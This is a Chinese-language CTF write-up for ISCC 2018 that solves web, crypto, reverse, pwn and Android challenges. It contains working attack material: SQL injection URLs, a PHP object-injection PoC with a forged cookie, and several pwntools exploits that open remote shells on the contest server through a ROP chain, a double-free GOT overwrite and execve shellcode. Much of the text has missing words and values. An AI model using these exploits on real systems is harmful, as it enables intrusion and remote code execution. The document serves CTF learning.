前言
ISCC 2018 CTF中,一些題目還是很不錯的。但是需要吐槽的就是這個積分機制16進制編輯器改so文件,私以為一次性放出所有題目而且反作弊機制完善的情況下動態積分這個方法很好。但是,戰線太長還是不要用動態積分。不過話說回來,戰線長也是ISCC的傳統吧。最后祝ISCC越辦越好!也希望我們的能對大家有所幫助吧!
賽事的運維人員還是很nice的
WEB比較數字大小
前端進行了限制,抓包改數字
Web01
因為在php中函數在進行數據操作時16進制編輯器改so文件,如果如果時,返回NULL,此時由于php的弱類型NULL== 0 返回true
所以我們轉入數組,當數組與字符串對比時導致,返回NULL
:8003/?[]=1
為什么這么簡單
題目給出:“需要從 進入,并且只有我公司的IP地址才可以進入第二關,公司IP為:110.110.110.110”
所以在請求題頁面時,添加:,在添加-IP:110.110.110.110
最后得到另外一個頁面:
訪問:8016/.php?token=鏈接后,會發現加載了一個.js文件::8016/.js
然后在此js文件中發現“AD4”
然后解密得到:
:
本地的誘惑
X--For: 127.0.0.1
你能跨過去嗎?
你能繞過嗎?
php偽協議讀取文件,用大小寫繞過限制
一切都是套路
web02
客戶端ip地址偽造
請ping我的ip 看你能Ping通嗎?
命令注入
give me and !
Php是世界上最好的語言
通過給出的源碼知道通過弱類型md5后的結果為,再給0對比時進行類型轉換,所以將=,任意值時,返回另外一個頁面:
:8005/.php?a=hello
很明顯,雙$,導致變量覆蓋,我們覆蓋flag這個變量即可
:8005/.php?a=flag
SQL注入的藝術
寬字節注入
:8015/index.php?id=1%bf%5c%27%20and%201=2%%%201,(%%%),3,4,5,6,7,8%23
試試看
php
error_reporting(0);
ini_set('display_errors','Off');
include('config.php');
$img = $_GET['img'];
if(isset($img) && !empty($img))
{
? ?if(strpos($img,'jpg') !== false)
? ?{
? ? ? ?if(strpos($img,'resource=') !== false && preg_match('/resource=.*jpg/i',$img) === 0)
? ? ? ?{
? ? ? ? ? ?die('File not found.');
? ? ? ?}
? ? ? ?preg_match('/^php:\/\/filter.*resource=([^|]*)/i',trim($img),$matches);
? ? ? ?if(isset($matches[1]))
? ? ? ?{
? ? ? ? ? ?$img = $matches[1];
? ? ? ?}
? ? ? ?header('Content-Type: image/jpeg');
? ? ? ?$data = get_contents($img);
? ? ? ?echo $data;
? ?}
? ?else
? ?{
? ? ? ?die('File not found.');
? ?}
}
else
{
? ??>
? ?<img src="1.jpg">
? ?php
}
?>
Sqli
首先在登錄用戶名這里存在注入,是延時盲注,通過可以跑出來內容
最后又兩個用戶:
test/test
然后使用admin登錄后,id參數又存在回顯注入,最后另外一個表news中還有一個很長的:
:8011/?id=1%20and%201=2%%%201,2,3,,5,6%%.%%=%%27%23
最后查出此字段的內容為:
:8011/?id=1%20and%201=2%%%201,2,3,,5,6%%%23
flag{}
通過給出的源代碼可以知道這里考點是hash擴展攻擊。
Hash長度擴展攻擊可以讓攻擊者無須知道salt的值,只需知道一組明文和此明文對應的密文及密文長度,既可以構造出在原有明文基礎上添加任意信息的新密文。
這里我們知道guest的密文,已經秘鑰的長度,需要我們給出的明文中包含admin,而且密文就是guest的密文,這里是很簡單的hash擴展攻擊,我們使用工具。
最后提交
有種你來繞
隨便輸入root,root后登陸提示 error
用burp跑一下用戶名 ,得到用戶名是admin
然后burp跑一下得到密碼是 ,進去后輸入flag得到
Only admin can see flag
通過給出的提示,訪問index.txt得到源碼::8001/index.txt
源碼中可知,在登錄過程中給出了密文和初始化向量iv,那么很容易想到這里考的是 和CBC翻轉攻擊
題目判斷不讓使用admin登錄,但是有需要判斷是admin才能回去flag,那么我們就需要偽造一個密文來讓他解密后得到admin明文
我們現在已知的明文分組為:
a:2:{s:8:"username";s:5:"zdmin";s:8:"password";s:5:"12345"}
s:2:{s:8:"userna
me";s:5:"zdmin";
s:8:"password";s
:3:"12345";}
然后我們需要將zdmin變為admin,所以我們只需要反正第一塊密文即可,因為CBC反正中,第一塊密文作為第二塊密文解密的iv,所以修改第一塊密文即可已得到第二塊明文解密后得到admin了
得到正確解密后,但是無法反序列化的明文
因為我們已經損壞了第一塊密文,所以我們需要同構造iv修復第一塊密文,讓其解密之后的明文為a:2:{s:8:"
得到構造的iv,然后提交:
Only Admin
像這種題,一般都需要代碼審計,所以先下載源代碼::8020/web.zip
然后審計代碼,通過閱讀代碼可以知道,很多功能都需要登錄才能使用,但是我們又沒法得到賬號,而且又不能注冊,那么利用點只能在登錄的地方了。
在.php中:
只有當前用戶為admin才能看到flag
但是沒有admin的賬號沒辦法登錄啊,而且[‘admin’]賦值的地方在.class.php文件中:
所以得想辦法讓這里存在sql查詢的結果返回的=1才可以。
繼續查找利用點,在此文件的構造函數中發現危險的地方:
這里將用戶的輸入帶入了,那么我們找到一個利用連就可以進行漏洞利用了。
最后$u['email'],$u['']分部進入數據庫查詢了,但是這里都是用過來函數過濾了
此過濾函數存在一個缺陷,如果是對象的情況就直接了
再觀察到.class.php中存在一個魔法函數,
那么就很明顯了,我們構造一個對象進入sql查詢,在進型字符串操作的時候()'$email')這個對象直接返回一個字符串,此時正好繞過過濾。
構造的poc如下:
php
/*
class User{
? ?var $dbTable ?= "users where `username`='admin'#";
}*/
class Message{
? ?var $msg = "";
? ?var $from = "";
? ?var $to = "";
? ?var $id = -1;
? ?function __construct($from, $to, $msg, $id=-1) {
? ? ? ?global $mysqli;
? ? ? ?$this->from = $from;
? ? ? ?$this->to = $to;
? ? ? ?$this->msg = $msg;
? ? ? ?$this->id = $id;
? ?}
? ?function __toString(){
? ? ? ?return $this->msg;
? ?}
}
$a = new Message('xfkxfk', 'xfkxfk', "xfkxfk@formsec.com' and 1=2 union select * from users where `username`='admin'#");
$b = serialize(array('email'=>$a, 'password'=>'xfkxfk'));
$ckSavePass = $b;
echo base64_encode($ckSavePass);
?>
此時添加訪問即可:
ckSavePass=YToyOntzOjU6ImVtYWlsIjtPOjc6Ik1lc3NhZ2UiOjQ6e3M6MzoibXNnIjtzOjc5OiJ4Zmt4ZmtAZm9ybXNlYy5jb20nIGFuZCAxPTIgdW5pb24gc2VsZWN0ICogZnJvbSB1c2VycyB3aGVyZSBgdXNlcm5hbWVgPSdhZG1pbicjIjtzOjQ6ImZyb20iO3M6NjoieGZreGZrIjtzOjI6InRvIjtzOjY6Inhma3hmayI7czoyOiJpZCI7aTotMTt9czo4OiJwYXNzd29yZCI7czo2OiJ4Zmt4ZmsiO30=
此時返回302跳轉到index.php了,并且放回登錄成功的
最后加上這個即可得到flag:
is that?
修改圖片像素即可看到flag
Flag={}
數字密文
數字一看就是ascii的hex,用轉換一下即可
Python 2.7.3 (default, May 13 2013, 20:04:56)
[GCC 4.4.5] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import binascii
>>> binascii.a2b_hex("69742773206561737921")
"it's easy!"
>>>
秘密電報
秘密電報:
知識就是力量 AAABA
培根解密
重重諜影
進行多次和后進行aes空秘鑰解密再進行
有趣的ISCC
下載圖片用文本編輯器打開,文件最后有一段html實體編碼內容,解碼后再通過解碼得到flag
Where is the FLAG
文本編輯器打開圖片發現圖片使用Adobe CS5處理過
用Adobe 打開發現5個圖層,刪除第一個logo的圖層,其余每個圖層中有兩個二維碼部分區域,將畫圖區域調大,重新拼接圖片得到最終的二維碼,二維碼識別后得到flag
凱撒十三世
凱撒十三世在學會使用鍵盤后,向你扔了一串字符:“”,猜猜它吧。
經過rot13得到,鍵盤上對應的按鍵下移一行得到flag
flag:
一只貓的心思
附件是一個圖片文件,用打開發現底部有[10752]未知格式數據
發現其中出現wps字樣,我們將這部分保存為doc文件并打開
打開后是一段密文,用與佛論禪解密
再經過多次base解碼就可以得到flag
暴力XX不可取
壓縮包偽加密
07改為00
rot13解密
嵌套ZIPs
沒啥腦洞,首先利用azpr爆破一波3.zip密碼。
然后解出來兩個文件,然后利用已知明文攻擊,使用azpr爆破一波zip文件。
然后解出來的還是加密的壓縮包,不過這次就是偽加密了,直接二進制修改。得到最后的flag
ISCC_!
256位的RSA解密
>>> from Crypto.PublicKey import RSA
>>> pub = RSA.importKey(open('public.key').read())
>>> n = long(pub.n)
>>> e = long(pub.e)
>>> print n
98432079271513130981267919056149161631892822707167177858831841699521774310891
然后在網站進行質數分解。得到p= 和q= 。
然后,根據p、q和e求d
# coding = utf-8
def computeD(fn, e):
? ? (x, y, r) = extendedGCD(fn, e)
? ? #y maybe < 0, so convert it
? ? if y < 0:
? ? ? ? return fn + y
? ? return y
def extendedGCD(a, b):
? ? #a*xi + b*yi = ri
? ? if b == 0:
? ? ? ? return (1, 0, a)
? ? #a*x1 + b*y1 = a
? ? x1 = 1
? ? y1 = 0
? ? #a*x2 + b*y2 = b
? ? x2 = 0
? ? y2 = 1
? ? while b != 0:
? ? ? ? q = a / b
? ? ? ? #ri = r(i-2) % r(i-1)
? ? ? ? r = a % b
? ? ? ? a = b
? ? ? ? b = r
? ? ? ? #xi = x(i-2) - q*x(i-1)
? ? ? ? x = x1 - q*x2
? ? ? ? x1 = x2
? ? ? ? x2 = x
? ? ? ? #yi = y(i-2) - q*y(i-1)
? ? ? ? y = y1 - q*y2
? ? ? ? y1 = y2
? ? ? ? y2 = y
? ? return(x1, y1, a)
p = 325045504186436346209877301320131277983
q = 302825536744096741518546212761194311477
e = 65537
n = p * q
fn = (p - 1) * (q - 1)
d = computeD(fn, e)
print d
求出后根據n、e和d得到私鑰
>>> from Crypto.PublicKey import RSA
>>> pub = RSA.importKey(open('public.key').read())
>>> n = long(pub.n)
>>> e = long(pub.e)
>>> print e
65537
>>> d = 1958518567680136759381316911808879057130620824462099039954817237801766103617
>>> key = RSA.construct((n,e,d))
>>> open("private.key","w").write(key.exportKey())
>>>
最后利用私鑰解密文件。
>>> import rsa
>>> p=open("private.key").read()
>>> privkey = rsa.PrivateKey.load_pkcs1(p)
>>> crypto = open("encrypted.message1").read()
>>> message = rsa.decrypt(crypto,privkey)
>>> print message
flag{3b6d3806-4b2b
>>> crypto = open("encrypted.message2").read()
>>> print rsa.decrypt(crypto,privkey)
-11e7-95a0-
>>> crypto = open("encrypted.message3").read()
>>> print rsa.decrypt(crypto,privkey)
000c29d7e93d}
>>>
flag flag{-4b2b-11e7-95a0-}
My math is bad
直接使用IDA載入這個題目,看到如下內容:
? ?if ( s[1] * (signed __int64)s[0] - s[3] * (signed __int64)s[2] == 0x24CDF2E7C953DA56LL
? ? ?&& 3LL * s[2] + 4LL * s[3] - s[1] - 2LL * s[0] == 0x17B85F06
? ? ?&& 3 * s[0] * (signed __int64)s[3] - s[2] * (signed __int64)s[1] == 0x2E6E497E6415CF3ELL
? ? ?&& 27LL * s[1] + s[0] - 11LL * s[3] - s[2] == 0x95AE13337LL )
根據這個轉化為方程
b * a - d * c = 0x24CDF2E7C953DA56
3 * c + 4 * d - b - 2 * a = 0x17B85F06
3 * a * d - c * b = 0x2E6E497E6415CF3E
27 * b + a - 11 * d - c = 0x95AE13337
寫出代碼
[a,b,c,d]=solve('b * a - d * c = 2652042832920173142','3 * c + 4 * d - b - 2 * a = 397958918','3 * a * d - c * b = 3345692380376715070','27 * b + a - 11 * d - c = 40179413815')
使用在線解出答案。
>>> binascii.a2b_hex('6f706d61')
'opma'
>>> binascii.a2b_hex('6b5a325a')
'kZ2Z'
>>> hex(829124174)
'0x316b6e4e'
>>> binascii.a2b_hex('316b6e4e')
'1knN'
>>> hex(862734414)
'0x336c484e'
>>> binascii.a2b_hex('336c484e')
'3lHN'
>>>
這樣就得到了srand的種子,之后的rand的結果也確定了。
得到了第二個方程組
v6 * 39 + v3 * 22 - v4 - v5 = 0xE638C96D3
v6 + v3 + v5 * 45 - v4 * 45 = 0xB59F2D0CB
v3 * 35 + v4 * 41 - v5 - v6 = 0xDCFE88C6D
v5 * 36 + v3 - v4 - v6 * 13 = 0xC076D98BB
[v3,v4,v5,v6]=solve('v6 * 39 + v3 * 22 - v4 - v5 = 61799700179','v6 + v3 + v5 * 45 - v4 * 45 = 48753725643','v3 * 35 + v4 * 41 - v5 - v6 = 59322698861','v5 * 36 + v3 - v4 - v6 * 13 = 51664230587')
使用解出答案即可。
=======================================
= Welcome to the flag access machine! =
= ? Input the password to login ... ? =
=======================================
ampoZ2ZkNnk1NHl3NTc0NTc1Z3NoaGFG
Congratulations! You should get the flag...
flag{th3_Line@r_4lgebra_1s_d1fficult!}
and
使用IDA載入題目,看到如下內容,將輸入的flag編碼兩次,然后和""對比。
所以現在需要觀察兩次的編碼方式是什么。
的編碼方式很簡單,看到三塊重要的代碼
idx = v13++;
*(_BYTE *)(a2 + idx) = (char)v10 % 127;
v10 += *(&a1[4 * row] + col) * *(&m[4 * v11] + col);
if ( v15 != 24 )
? ?v2 = -1090034712;
明顯,flag的大小是24字節。第一編碼是矩陣運算,第二次編碼是(字母表被替換)。
# -*- encoding:utf-8 -*-
from numpy import *
import numpy as np
import base64
import string
import chardet
import ctypes
#base64_charset = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
base64_charset = 'FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+'
letters = list(base64_charset)
def my_base64_encodestring(input_str):
? ?# 對每一個字節取ascii數值或unicode數值,然后轉換為2進制
? ?str_ascii_list = ['{:0>8}'.format(str(bin(ord(i))).replace('0b', ''))
? ? ? ? ? ? ? ? ? ? ?for i in input_str]
? ?output_str = ''
? ?# 不夠3的整數倍 補齊所需要的次數
? ?equal_num = 0
? ?while str_ascii_list:
? ? ? ?temp_list = str_ascii_list[:3]
? ? ? ?if len(temp_list) != 3:
? ? ? ? ? ?while len(temp_list) < 3:
? ? ? ? ? ? ? ?equal_num += 1
? ? ? ? ? ? ? ?temp_list += ['0'*8]
? ? ? ?temp_str = ''.join(temp_list)
? ? ? ?# 三個8字節的二進制 轉換為4個6字節的二進制
? ? ? ?temp_str_list = [temp_str[x:x+6] for x in [0, 6, 12, 18]]
? ? ? ?# 二進制轉為10進制
? ? ? ?temp_str_list = [int(x, 2) for x in temp_str_list]
? ? ? ?# 判斷是否為補齊的字符 做相應的處理
? ? ? ?if equal_num:
? ? ? ? ? ?temp_str_list = temp_str_list[0:4-equal_num]
? ? ? ?output_str += ''.join([letters[x] for x in temp_str_list])
? ? ? ?str_ascii_list = str_ascii_list[3:]
? ?output_str = output_str + '=' * equal_num
? ?#print(output_str)
? ?return output_str
def my_base64_decodestring(input_str):
? ?# 對每一個字節取索引,然后轉換為2進制
? ?str_ascii_list = ['{:0>6}'.format(str(bin(letters.index(i))).replace('0b', ''))
? ? ? ? ? ? ? ? ? ? ?for i in input_str if i != '=']
? ?output_str = ''
? ?equal_num = input_str.count('=')
? ?while str_ascii_list:
? ? ? ?temp_list = str_ascii_list[:4]
? ? ? ?temp_str = ''.join(temp_list)
? ? ? ?# 補夠8位
? ? ? ?if len(temp_str) % 8 != 0:
? ? ? ? ? ?temp_str = temp_str[0:-1*equal_num*2]
? ? ? ?# 4個6字節的二進制 ?轉換 ?為三個8字節的二進制
? ? ? ?temp_str_list = [temp_str[x:x+8] for x in [0, 8, 16]]
? ? ? ?# 二進制轉為10進制
? ? ? ?temp_str_list = [int(x, 2) for x in temp_str_list if x]
? ? ? ?output_str += ''.join([chr(x) for x in temp_str_list])
? ? ? ?str_ascii_list = str_ascii_list[4:]
? ?#print(output_str)
? ?return output_str
def calc_flag_base64(flag):
? ?x = [
? ? ? ?[0x61,0x61,0x61,0x61,0x61,0x61],
? ? ? ?[0x61,0x61,0x61,0x61,0x61,0x61],
? ? ? ?[0x61,0x61,0x61,0x61,0x61,0x61],
? ? ? ?[0x61,0x61,0x61,0x61,0x61,0x61]
? ?]
? ?for row in range(0, 4):
? ? ? ?for col in range(0,6):
? ? ? ? ? ?x[row][col] = ord(flag[row*4+col])
? ?m = [
? ? ? ?[2,2,4,-5],
? ? ? ?[1,1,3,-3],
? ? ? ?[-1,-2,-3,4],
? ? ? ?[-1,0,-2,2]
? ?]
? ?res = ""
? ?for i in range(0, 6):
? ? ? ?for j in range(0, 4):
? ? ? ? ? ?cnt = 0
? ? ? ? ? ?for k in range(0,4):
? ? ? ? ? ? ? ?cnt += ord(flag[i*4+k])*m[j][k]
? ? ? ? ? ?res += chr(cnt%256)
? ?return my_base64_encodestring(res)
x = [
? ?[0x61,0x61,0x61,0x61,0x61,0x61],
? ?[0x61,0x61,0x61,0x61,0x61,0x61],
? ?[0x61,0x61,0x61,0x61,0x61,0x61],
? ?[0x61,0x61,0x61,0x61,0x61,0x61]
]
rf=my_base64_decodestring("lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq")
for row in range(0, 4):
? ?for col in range(0,6):
? ? ? ?x[row][col] = ctypes.c_int8(ord(rf[col*4+row])).value
m = [
? ?[2,2,4,-5],
? ?[1,1,3,-3],
? ?[-1,-2,-3,4],
? ?[-1,0,-2,2]
]
# m的逆矩陣
m1 = [
? ?[2,0,2,1],
? ?[1,1,1,2],
? ?[0,2,1,1],
? ?[1,2,2,2]
]
print mat(m1)*mat(x)
最后求出flag形成的矩陣為
f{yK_V
ld0N0m
aOUoI?
g__Wl}
還原成flag{?}
其實還有一種方法,就是爆破。因為是,所以每3字節源數據會生成4字節數據。但是本題中第一次編碼是4字節運算的,所以完全可以4字節爆破。btw 土豪的選擇
這個題目載入ida一看,upx加殼的。再使用upx脫殼后,程序方無法運行了,不過里面的函數還是可以看的。那就帶殼調試。
經過我們的分析,發現程序的流程是這樣的。先輸入一串字符串,然后堆字符串進行變換,利用函數來對比,如果結果相同則答案正確。最后的對比字符串為{}F。此時就需要知道,什么樣的字符串變換后能得到這個字符串。
我們先在這里打上斷點。
輸入特征字符串。程序段下來后,特征字符串被變化成了這樣
然后,根據規律就可以推出真正的Flag
程序流程很簡單,先登錄,再完成一些功能。
menu函數里有個很明顯的棧溢出漏洞。
user@ubuntu ~/pwn/iscc2018/pwn1 checksec pwn50
[*] '/home/user/pwn/iscc2018/pwn1/pwn50'
? ?Arch: ? ? amd64-64-little
? ?RELRO: ? ?Partial RELRO
? ?Stack: ? ?No canary found
? ?NX: ? ? ? NX enabled
? ?PIE: ? ? ?No PIE (0x400000)
只開了NX,很簡答了。程序中提供了地址,所以只需要/bin/sh的地址。我們觀察到函數會把內容寫在全局變量中。所以/bin/sh的地址也有了。最終exp如下。
from pwn import *
r = process("./pwn50")
r = remote("47.104.16.75",9000)
elf = ELF("./pwn50")
context.log_level = "DEBUG"
offset = 87
pop_rdi_ret =0x00400b03#: pop rdi ; ret ?; ?(1 found)
pop_rsi_r15_ret = 0x00400b01#: pop rsi ; pop r15 ; ret ?; ?(1 found)
r.recvuntil("username: ")
r.sendline("admin")
r.recvuntil("password: ")
r.sendline("T6OBSh2i")
r.recvuntil("Your choice: ")
r.send("1")
r.recvuntil("Command: ")
r.sendline("/bin/sh\x00")
r.recvuntil("Your choice: ")
payload ?= "3" + offset * "a"
payload += p64(pop_rdi_ret)
payload += p64(0x0000000000601100)
payload += p64(elf.plt["system"])
r.sendline(payload)
r.interactive()
flag{}
Write some paper
簡單分析了一下題目,沒有溢出。只有一個free后指針懸掛的問題。想到 。
思路就是:申請兩塊內存,1和2。釋放1,釋放2,釋放1。然后分配1即可控制 1的FD。將FD指向PLG.GOT,把內存分配到GOT上,就可以利用gg函數的地址覆蓋某個函數的GOT表內容完成GOT 。
這個題目的難點就在于如何構造的大小和FD的位置。如果分配到GOT表前,則會破壞PLT0導致程序崩潰。經過分析這個地址剛好滿足我們的條件。
最終exp如下:
from pwn import *
paper = 0x6020c0
r = process("./pwn3")
r = remote("47.104.16.75",8999)
elf = ELF("./pwn3")
context.log_level = "DEBUG"
def add_paper(num, idx, content):
? ?r.recvuntil("2 delete paper")
? ?r.sendline("1")
? ?r.recvuntil("to store(0-9):")
? ?r.sendline(str(idx))
? ?r.recvuntil("How long you will enter:")
? ?r.sendline(str(num))
? ?r.recvuntil("please enter your content:")
? ?r.sendline(content)
def del_paper(idx):
? ?r.recvuntil("2 delete paper")
? ?r.sendline("2")
? ?r.recvuntil("it's index(0-9):")
? ?r.sendline(str(idx))
add_paper(0x30, 1, "1")
add_paper(0x30, 2, "1")
del_paper(1)
del_paper(2)
del_paper(1)
add_paper(0x30, 1, p64(0x60202a))
add_paper(0x30, 1, "aaaaaaaaaaa")
add_paper(0x30, 1, "aaaaaaaaaaa")
#gdb.attach(r, "b add_paper\nc")
add_paper(0x30, 1, "\x40\x00\x00\x00\x00\x00"+p64(elf.symbols["gg"]))
r.sendline("a")
r.interactive()
Happy Hotel
用ida載入程序,看了下,流程很簡單。漏洞點一眼就能看出來
這個地方,有個棧溢出。我們寫的內容會覆蓋掉堆的指針,可以造成任意地址寫。不過這有個限制,就是會被\x00截斷。
接著查看程序的保護措施。
沒開啥保護措施,所以我們可以將寫入bss再控制程序執行。但是這就需要用到兩次任意地址寫,也就意味著必須將有漏洞的函數調用兩次。所以,我們把有漏洞的函數的地址覆蓋到free上即可,這樣就可以多次調用任意地址寫。首先寫入到bss,再用bss的地址覆蓋free的got表,即可。
寫到bbs需要將的首地址向后偏移至少8個字節,因為我們再bss上有全局變量,會覆蓋掉bss的前8個字節。
from pwn import *
elf = ELF("./pwn200")
#r = process("./pwn200")
r= remote("47.104.16.75", 8997)
context.log_level = "DEBUG"
r.recvuntil("who are u?")
r.sendline("admin")
r.recvuntil("give me your id ~~?")
r.sendline("404")
r.recvuntil("give me money~")
payload = p64(0x400a29) + "\x00" * (0x40-16) + p64(elf.got["free"])
r.send(payload)
r.recvuntil("choice :")
r.sendline("2")
r.recvuntil("give me money~")
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload = shellcode.ljust(0x40-8, "\x00") + p64(0x602098 + 8)
r.send(payload)
#r.interactive()
r.recvuntil("choice :")
r.sendline("2")
r.recvuntil("give me money~")
payload = p64(0x602098+8) + "\x00" * (0x40-16) + p64(elf.got["free"])
r.send(payload)
r.sendline("2")
r.interactive()
小試牛刀
首先下載 ,配置好AVD( Devie)。注意,下載的的操作系統版本盡量不要選高版本的。因為后面的API都變了。
啟動安卓虛擬機,安卓這個apk
adb crack.apk
然后把IDA的 傳上去
adb push c:\ida\\ /data/local/tmp
然后切換root
su root
賦執行權限,并啟動
chmod 755 /data/local/tmp/
接著轉發tcp 端口
adb tcp:23946 tcp:23946
由.xml得到程序的名字和啟動的類
然后再adb shell中啟動am start -D -n com../org..shh..
如果在AVD中彈出這樣的窗口就說明成功了
接著在IDA中選擇遠程
然后再Debug 里勾上這三項
選擇我們要調試的app
然后在中找到.so
然后雙擊進去找到l函數并下斷點,關于為什么要在這里下斷點,可以看這篇文章:
接著使用DDMS來看遠程調試端口
使用jdb來調試
然后在IDA中點擊運行,接著會收到一些進程新號,點擊pass to app即可。然后,在IDA中,進程會在我們下斷的地方停下。
然后在File-> 中編寫如下IDC腳本,點擊運行,即可將內存中的DEX文件還原出來。
auto fp, dex_addr, end_addr;
? ?fp = fopen("D:\\iscc_dump.dex", "wb");
? ?end_addr = r0 + r1;
? ?for(dex_addr = r0; dex_addr < end_addr; dex_addr++)
? ? ? ?fputc(Byte(dex_addr), fp);
隨后使用轉化為jar包,用JDGUI即可打開分析flag。
點進去一看就找到真正的flag了
往期精彩回顧
逢魔安全